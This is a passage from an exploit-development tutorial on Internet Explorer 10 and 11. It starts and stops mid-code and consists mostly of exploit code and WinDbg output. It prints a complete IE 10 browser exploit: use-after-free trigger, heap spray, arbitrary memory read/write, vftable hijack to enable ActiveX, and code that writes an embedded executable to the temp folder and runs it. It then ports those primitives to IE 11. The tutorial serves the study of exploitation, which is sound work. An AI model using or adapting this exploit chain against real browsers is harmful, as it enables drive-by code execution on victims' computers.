bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
.
.
.
if (createExe(fname, decode(runcalc)) == 0) {
// alert("SaveToFile failed");
window.location.reload();
return 0;
}
Here’s the full code:
<html>
<head>
<script language="javascript">
function getFiller(n) {
return new Array(n+1).join("a");
}
function getDwordStr(val) {
return String.fromCharCode(val % 0x10000, val / 0x10000);
}
function handler() {
this.outerHTML = this.outerHTML;
// Object size = 0x340 = 832
// offset: value
// 94h: 0c0af010h
// (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
// 0ach: 0c0af00bh
// (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
// 1a4h: 11111h
// (X = [obj_addr+1a4h] = 11111h < 15f90h)
elem = document.createElement("div");
elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
getFiller((0x340 - (0x1a4 + 4))/2 - 1); // -1 for string-terminating null wchar
}
function trigger() {
var a = document.getElementsByTagName("script")[0];
a.onpropertychange = handler;
var b = document.createElement("div");
b = a.appendChild(b);
}
(function() {
// alert("Starting!");
CollectGarbage();
//-----------------------------------------------------
// From one-byte-write to full process space read/write
//-----------------------------------------------------
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte ArrayBuffer (buf2)
// 8-byte header | 0x58-byte ArrayBuffer (buf3)
// 8-byte header | 0x58-byte ArrayBuffer (buf4)
// 8-byte header | 0x58-byte ArrayBuffer (buf5)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x300; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x100) {
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
buf2 = new ArrayBuffer(0x58); // must be exactly 0x58!
buf3 = new ArrayBuffer(0x58); // must be exactly 0x58!
buf4 = new ArrayBuffer(0x58); // must be exactly 0x58!
buf5 = new ArrayBuffer(0x58); // must be exactly 0x58!
}
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
// 0x0: ArrayDataHead
// 0x20: array[0] address
// 0x24: array[1] address
// ...
// 0xf000: Int32Array
// 0xf030: Int32Array
// ...
// 0xffc0: Int32Array
// 0xfff0: align data
for (; i < 0x300 + 0x400; ++i) {
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
// vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0 array_len buf_addr
// jsArrayBuf
// We increment the highest byte of array_len 20 times (which is equivalent to writing 0x20).
for (var k = 0; k < 0x20; ++k)
trigger();
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x300; i < 0x300 + 0x400; ++i) {
for (j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
// alert("Can't find int32array!");
window.location.reload();
return;
}
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// ... we added four more raw buffers ...
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60*5/4],
vftptr2 = int32array[0x60*6/4],
vftptr3 = int32array[0x60*7/4],
nextPtr1 = int32array[(0x60*5+0x24)/4],
nextPtr2 = int32array[(0x60*6+0x24)/4],
nextPtr3 = int32array[(0x60*7+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
// alert("Error 1!");
window.location.reload();
return;
}
buf_addr = nextPtr1 - 0x60*6;
// Now we modify int32array again to gain full address space read/write access.
if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
// alert("Error 2!");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length
int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address
function read(address) {
var k = address & 3;
if (k == 0) {
// ####
return int32array[address/4];
}
else {
alert("to debug");
// .### #... or ..## ##.. or ...# ###.
return (int32array[(address-k)/4] >> k*8) |
(int32array[(address-k+4)/4] << (32 - k*8));
}
}
function write(address, value) {
var k = address & 3;
if (k == 0) {
// ####
int32array[address/4] = value;
}
else {
// .### #... or ..## ##.. or ...# ###.
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
//---------
// God mode
//---------
// At 0c0af000 we can read the vfptr of an Int32Array:
// jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000) - 0x3b60;
// Now we need to determine the base address of MSHTML. We can create an HTML
// object and write its reference to the address 0x0c0af000-4 which corresponds
// to the last element of one of our arrays.
// Let's find the array at 0x0c0af000-4.
for (i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
// We write 3 in the last position of one of our arrays. IE encodes the number x
// as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
// Either we use an odd number or a valid address otherwise IE will crash in the
// following for loop.
write(0x0c0af000-4, 3);
leakArray = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0) {
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
// alert("Can't find leakArray!");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4, obj);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable'
// v
// 70792248 0c012b40 00000000 00000003
// 73b38b9a 00000000 00574230 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
mshtml = read(addr + 0x10) - 0x58b9a;
// vftable
// +-----> +------------------+
// | | |
// | | |
// | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
// | | | MOV EAX,ESI | POP ESI | RETN"
// | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
// | +------------------+
// object |
// EAX ---> +-------------------+ |
// | vftptr |-----+
// | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
// | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN"
// | jscript9+0xdc361 | --> "LEAVE | RET 4"
// +-------------------+
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On!
var shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old); // God Mode Off!
addr = get_addr(ActiveXObject);
var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object
var old_objptr = read(pp_obj);
var old_vftptr = read(old_objptr);
// Create the new vftable.
var new_vftable = new Int32Array(0x708/4);
for (var i = 0; i < new_vftable.length; ++i)
new_vftable[i] = read(old_vftptr + i*4);
new_vftable[0x10/4] = jscript9+0x10705e;
new_vftable[0x14/4] = jscript9+0xdc164;
var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable
// Create the new object.
var new_object = new Int32Array(4);
new_object[0] = new_vftptr;
new_object[1] = jscript9 + 0x15f800;
new_object[2] = jscript9 + 0xf3baf;
new_object[3] = jscript9 + 0xdc361;
var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object
function GodModeOn() {
write(pp_obj, new_objptr);
}
function GodModeOff() {
write(pp_obj, old_objptr);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
// alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
// alert("All done!");
})();
</script>
</head>
<body>
</body>
</html>
As always, I snipped runcalc. You can download the full code from here: code4.
Load the page in IE using SimpleServer and everything should work just fine! This exploit is very reliable. In fact, even when IE crashes because something went wrong with the UAF bug, IE will reload the page. The user will see the crash but that’s not too serious. Anyway, the event of a crash is reasonably rare.
Internet Explorer 10 32-bit and 64-bit
There are two versions of IE 10 installed: the 32-bit and the 64-bit version. Our exploit works with both of them because while the iexplore.exe module associated with the main window is different (one is a 32-bit and the other a 64-bit executable), the iexplore.exe module associated with the tabs is the same 32-bit executable in both cases. You can verify this just by looking at the path of the two executable in the Windows Task Manager.
Finding a UAF bug for IE 11 for this chapter was very hard because security researchers tend to omit important technical details in their articles. As a student of exploit development I wish I had access to such information.
Anyway, the UAF bug I found needs the following line:
Unfortunately, when we’re emulating IE 9, Int32Arrays are not available, so the method we used for IE 10 (see article), although pretty general, is not applicable here. It’s time to look for another method!
Array
We saw how Arrays are laid out in memory in IE 10. Things are very similar in IE 11, but there’s an interesting difference. Let’s create an Array with the following simple code:
<html>
<head>
<script language="javascript">
var a = new Array((0x10000 - 0x20)/4);
for (var i = 0; i < a.length; ++i)
a[i] = 0x123;
</script>
</head>
<body>
</body>
</html>
We saw that in IE 10 Arrays were created by calling jscript9!Js::JavascriptArray::NewInstance. Let’s put a breakpoint on it:
bp jscript9!Js::JavascriptArray::NewInstance
If we reload the page in IE 11 nothing happens. Let’s try with the constructor:
Breakpoint 1's offset expression evaluation failed.
Check for invalid symbols or bad syntax.
WaitForEvent failed
eax=00000000 ebx=00838e4c ecx=00000000 edx=00000000 esi=00839b10 edi=00000000
eip=7703fc92 esp=05d57350 ebp=05d573d0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!ZwUnmapViewOfSection+0x12:
7703fc92 83c404 add esp,4
Let me know if you know why this happens. To avoid this error, you can set the 4 breakpoints by hand:
bp 6f5c2480
bp 6f5c7f42
bp 6f4549ad
bp 6f47e091
When we resume the execution and allow blocked content in IE, the second breakpoint is triggered and the stack trace is the following:
0:007> k 8
ChildEBP RetAddr
0437bae0 6da6c0c8 jscript9!Js::JavascriptArray::JavascriptArray
0437baf4 6d9d6120 jscript9!Js::JavascriptNativeArray::JavascriptNativeArray+0x13
0437bb24 6da6bfc6 jscript9!Js::JavascriptArray::New<int,Js::JavascriptNativeIntArray>+0x112
0437bb34 6da6bf9c jscript9!Js::JavascriptLibrary::CreateNativeIntArray+0x1a
0437bbf0 6da6c13b jscript9!Js::JavascriptNativeIntArray::NewInstance+0x81 <--------------------
0437bff8 6d950aa3 jscript9!Js::InterpreterStackFrame::Process+0x48e0
0437c11c 04cd0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c128 6d94ceab 0x4cd0fe9
Let’s delete all the breakpoints and put a breakpoint on JavascriptNativeIntArray::NewInstance:
0:007> bc *
0:007> bp jscript9!Js::JavascriptNativeIntArray::NewInstance
Reload the page and when the breakpoint is triggered, press Shift+F11 to return from the call. EAX should now point to the JavascriptNativeIntArray object:
Image may be NSFW. Clik here to view.
It seems that the buffer for the Array has space for just 4 elements. Or maybe that 4 elements are the header for the buffer? When the Array grows, a bigger buffer should be allocated and thus the pointer to the buffer in the Array object should change. So, let’s put a hardware breakpoint on the buf_addr field:
ba w4 @eax+14
When we resume the execution, the hardware breakpoint is triggered and the stack trace looks like this:
0:007> k 8
ChildEBP RetAddr
0437bac0 6daf49a2 jscript9!Js::JavascriptArray::AllocateHead<int>+0x32
0437baf0 6daf4495 jscript9!Js::JavascriptArray::DirectSetItem_Full<int>+0x28d
0437bb44 6d94d9a3 jscript9!Js::JavascriptNativeIntArray::SetItem+0x187 <------------------------
0437bb70 03a860a6 jscript9!Js::CacheOperators::CachePropertyRead<1>+0x54
WARNING: Frame IP not in any known module. Following frames may be wrong.
0437c0c8 6da618a7 0x3a860a6
0437c104 6d950d93 jscript9!InterpreterThunkEmitter::GetNextThunk+0x4f
0437c128 6d94ceab jscript9!Js::FunctionBody::EnsureDynamicInterpreterThunk+0x77
0437c168 6d94d364 jscript9!Js::JavascriptFunction::CallFunction<1>+0x88
As we expected, the Array grows when elements are added through jscript9!Js::JavascriptNativeIntArray::SetItem. The new address of the buffer is 039e0010h. Now resume the execution, stop the execution again and have a look at the buffer at 039e0010h:
Image may be NSFW. Clik here to view.
As we can see, the integers 0x123 are written without any kind of encoding in the buffer. In IE 10 we would have had 0x247, i.e. 0x123*2 + 1. The only caveat is that the integers are signed. Let’s see what happens when we write to the Array a value bigger than the biggest positive integer number. Let’s spray the heap to find one of the buffers more easily:
<html>
<head>
<script language="javascript">
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array((0x10000 - 0x20)/4);
for (var j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
a[i][0] = 0x80000000;
}
</script>
</head>
<body>
</body>
</html>
In WinDbg, go to an address like 9000000h or use VMMap to determine a suitable address. This time you’ll see something familiar:
Image may be NSFW. Clik here to view.
This is the exact situation we had in IE 10: the numbers are encoded (2*N + 1) and first element, which should be the number 0x80000000, points to a JavascriptNumber object. Is there a way to write 0x80000000 directly? Yes: we need to find the negative number whose 2-complement representation is 0x80000000. This number is
-(0x100000000 - 0x80000000) = -0x80000000
Let’s try it:
<html>
<head>
<script language="javascript">
CollectGarbage();
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array((0x10000 - 0x20)/4);
for (var j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
a[i][0] = -0x80000000;
}
alert("Done");
</script>
</head>
<body>
</body>
</html>
As you can see, we get exactly what we wanted:
Image may be NSFW. Clik here to view.
We can conclude that in IE 11 an Array stores 32-bit signed integers directly without any particular encoding. As soon as something different than a 32-bit signed integer is written into the Array, all the integers are encoded as 2*N + 1 just as in IE 10. This means that as long as we’re careful, we can use a normal Array as an Int32Array. This is important because, as we said in the section EmulateIE9, Int32Arrays won’t be available.
Reading/Writing beyond the end
In IE 10 the length of an Array appears both in the Array object and in the header of the Array buffer. Let’s see if things have changed in IE 11. Let’s use the following code:
<html>
<head>
<script language="javascript">
var a = new Array((0x10000 - 0x20)/4);
for (var i = 0; i < 7; ++i)
a[i] = 0x123;
alert("Done");
</script>
</head>
<body>
</body>
</html>
To determine the address of the Array, we can use the following breakpoint:
bp jscript9!Js::JavascriptNativeIntArray::NewInstance+0x85 ".printf \"new Array: addr = 0x%p\\n\",eax;g"
Here’s a picture of the Array object and its buffer:
<html>
<head>
<script language="javascript">
var array_len = (0x10000 - 0x20)/4;
var a = new Array(array_len);
for (var i = 0; i < 7; ++i)
a[i] = 0x123;
alert("Modify the array length");
alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>
We want to modify the Array length so that we can read and write beyond the real end of the Array. Let’s load the HTML page in IE and when the first alert message appears, go in WinDbg and overwrite the length field in the Array object with 0x20000000. When we close the alert box, a second alert box appears with the message undefined. This means that we couldn’t read beyond the end of the Array.
Now let’s try to modify the “Array actual length” field in the header of the Array buffer (from 7 to 0x20000000): same result.
Finally, modify the “Buffer length” field in the header of the Array buffer (from 0x3ff8 to 0x20000000): same result. But if we modify all the three length fields it works! Is it really necessary to modify all the three values by hand? An Array grow when we write at an index which is beyond the current length of the Array. If the buffer is too small, a big enough buffer is allocated. So what happens if we modify just the “Buffer length” field and then write at an index of the Array which is beyond the current length of the Array? If our logic doesn’t fail us, IE should grow the Array without touching the buffer because IE thinks that the buffer is big enough (but we know we faked its size). In other words, IE should update the other two length fields as a consequence of writing to the Array beyond the current end of the Array.
Let’s update our code:
<html>
<head>
<script language="javascript">
var array_len = (0x10000 - 0x20)/4;
var a = new Array(array_len);
for (var i = 0; i < 7; ++i)
a[i] = 0x123;
alert("Modify the \"Buffer length\" field");
a[array_len + 0x100] = 0;
alert(a[array_len]);
</script>
</head>
<body>
</body>
</html>
We load the HTML page in IE and when the first alert box appears we modify the “Buffer length” field in the buffer header. Then we resume execution and close the alert box. IE might crash because we could overwrite something important after the end of the Array. In that case, repeat the whole process.
Now, when the second alert box appears, have another look at the Array object and at its buffer header:
Image may be NSFW. Clik here to view.
Perfect! Again, understand that if we hadn’t altered the “Buffer length” field of the buffer, a new buffer of length at least 0x40f9 would have been allocated, and we wouldn’t have got read/write access to memory beyond the end of the Array.
Whole address space read/write access
We want to acquire read/write access to the whole address space. To do so, we need to spray the heap with many Arrays, modify the “Buffer length” field in the buffer header of one Array, locate the modified Array and, finally, use it to modify all three length fields of another Array. We’ll use this second Array to read and write wherever we want.
Here’s the javascript code:
<html>
<head>
<script language="javascript">
(function () {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
a[i][0] = 0;
}
magic_addr = 0xc000000;
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
// Locate the modified Array.
var idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
alert("Can't find the modified Array");
return;
}
// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
alert("Done");
})();
</script>
</head>
<body>
</body>
</html>
The header size for the buffer of an Array is 0x20 because there is a 0x10-byte heap allocation header and a 0x10-byte buffer header.
magic_addr is the address where the Array whose length we want to modify is located. Feel free to change that value.
To determine the index of the modified Array we consider each Array in order of allocation and try to modify the first element of the following Array. We can use a[i] to modify the first element of a[i+1] if and only if a[i] is the modified array and the buffer of a[i+1] is located right after the buffer of a[i] in memory. If a[i] is not the modified Array, its buffer will grow, i.e. a new buffer will be allocated. Note that if we determined that a[idx] is the modified Array, then it’s guaranteed that the buffer of a[idx+1] hasn’t been reallocated and is still located right after the buffer of a[idx].
Now we should be able to read/write in the address space [base_addr, 0xffffffff], but what about [0, base_addr]? That is, can we read/write before the buffer of a[idx+1]? Probably, IE assumes that the base addresses and the lengths of the Arrays are correct and so doesn’t check for overflows. Let’s say we want to read the dword at 0x400000. We know that base_addr is 0xc010000.
Let’s suppose that IE computes the address of the element to read as
base_addr + index*4 = 0xc010000 + index*4
without making sure that index*4 < 2^32 – base_addr. Then, we can determine the index to read the dword at 0x400000 as follows:
0xc010000 + index*4 = 0x400000 (mod 2^32)
index = (0x400000 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 0 - 0xc010000)/4 (mod 2^32)
index = (0x400000 + 2^32 - 0xc010000)/4 (mod 2^32)
index = 0x3d0fc000 (mod 2^32)
The notation
a = b (mod N)
means
a = b + k*N for some integer k.
For instance,
12 = 5 (mod 7)
because
12 = 5 + 1*7
Working with 32 bits in presence of overflows is like working in mod 2^32. For instance,
-5 = 0 - 5 = 2^32 - 5 = 0xfffffffb
because, in mod 2^32, 0 and 2^32 are equivalent (0 = 2^32 – 1*2^32).
To recap, if IE just checks that index < array_len (which is 0x3fffffff in our case) and doesn’t do any additional check on potential overflows, then we should be able to read and write in [0,0xffffffff]. Here’s the implementation of the functions read and write:
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
We’ve already noted that Array contains signed 32-bit integers. Since I prefer to work with unsigned 32-bit integers, I perform some conversions between signed and unsigned integers.
But we haven’t checked if all this works yet! Here’s the full code:
<html>
<head>
<script language="javascript">
(function () {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
a[i][0] = 0;
}
magic_addr = 0xc000000;
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
// Locate the modified Array.
var idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
alert("Can't find the modified Array");
return;
}
// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
alert("Write a number at the address " + (base_addr - 0x10000).toString(16));
var num = read(base_addr - 0x10000);
alert("Did you write the number " + num.toString(16) + "?");
alert("Done");
})();
</script>
</head>
<body>
</body>
</html>
To check if everything works fine, follow the instructions. Try also to write a number >= 0x80000000 such as 0x87654321. Lucky for us, everything seems to be working just fine!
Note that we can’t assign obj to a[idx+1][0] because this would make IE crash. In fact, a[idx+1] would become a mix Array and IE would try to encode the dwords of the entire space address! We can’t use a[idx] for the same reason and we can’t use a[idx-1] or previous Arrays because their buffers were reallocated somewhere else (remember?). So, a[idx+2] seems like a good candidate.
God Mode
Now we need to port the God Mode from IE 10 to IE 11. Let’s start with the first few lines:
// At 0c0af000 we can read the vfptr of an Int32Array:
// jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000) - 0x3b60;
.
.
.
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable'
// v
// 70792248 0c012b40 00000000 00000003
// 73b38b9a 00000000 00574230 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
alert(addr.toString(16));
return;
mshtml = read(addr + 0x10) - 0x58b9a;
When the alert box pops up, examine the memory at the indicated address and you should have all the information to fix the code. Here’s the fixed code:
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
// v
// 04ab2d50 151f1ec0 00000000 00000000
// 6f5569ce 00000000 0085f5d8 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x2d50;
mshtml = read(addr + 0x10) - 0x1569ce;
Now let’s analyze jscript9!ScriptSite::CreateActiveXObject, if still present. First of all, add this simple line of code:
new ActiveXObject("ADODB.Stream");
Then, load the page in IE and add a breakpoint on jscript9!ScriptSite::CreateActiveXObject. When the breakpoint is triggered, step through the code until you reach a call to CreateObjectFromProgID:
In IE 10 we went to great lengths to return from CanCreateObject with a non null EAX and a null EDI. But as we can see, in IE 11 there is no pop edi. Does it mean that we can just call the function epilog (which doesn’t use leave anymore, by the way)?
Now let’s step out of CanCreateObject (Shift+F11):
04c05b50 e86c020000 call jscript9!ScriptEngine::CanCreateObject (04c05dc1)
04c05b55 85c0 test eax,eax <----------------- we are here
04c05b57 0f84f4150400 je jscript9!ScriptSite::CreateObjectFromProgID+0x116 (04c47151)
04c05b5d 6a05 push 5
04c05b5f 58 pop eax
04c05b60 85ff test edi,edi <---------------- EDI must be 0
04c05b62 0f85fd351200 jne jscript9!DListBase<CustomHeap::Page>::DListBase<CustomHeap::Page>+0x61a58 (04d29165)
It seems that EDI must still be 0, but the difference is that now CanCreateObject doesn’t use EDI anymore and so we don’t need to clear it before returning from CanCreateObject. This is great news!
Let’s change EAX so that we can reach CanObjectRun, if it still exists:
r eax=1
Let’s keep stepping until we get to CanObjectRun and then step into it. After a while, we’ll reach a familiar virtual call:
If we call the epilog of the function like before, we’ll skip the call to jscript9!_imp__CoTaskMemFree, but that shouldn’t be a problem. ECX points to the same vftable referred to in CanCreateObject. Let’s compute the RVA of the epilog of CanObjectRun:
Now we’re ready to write the javascript code. Here’s the full code:
<html>
<head>
<script language="javascript">
(function () {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
a[i][0] = 0;
}
magic_addr = 0xc000000;
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
// Locate the modified Array.
var idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
alert("Can't find the modified Array");
return;
}
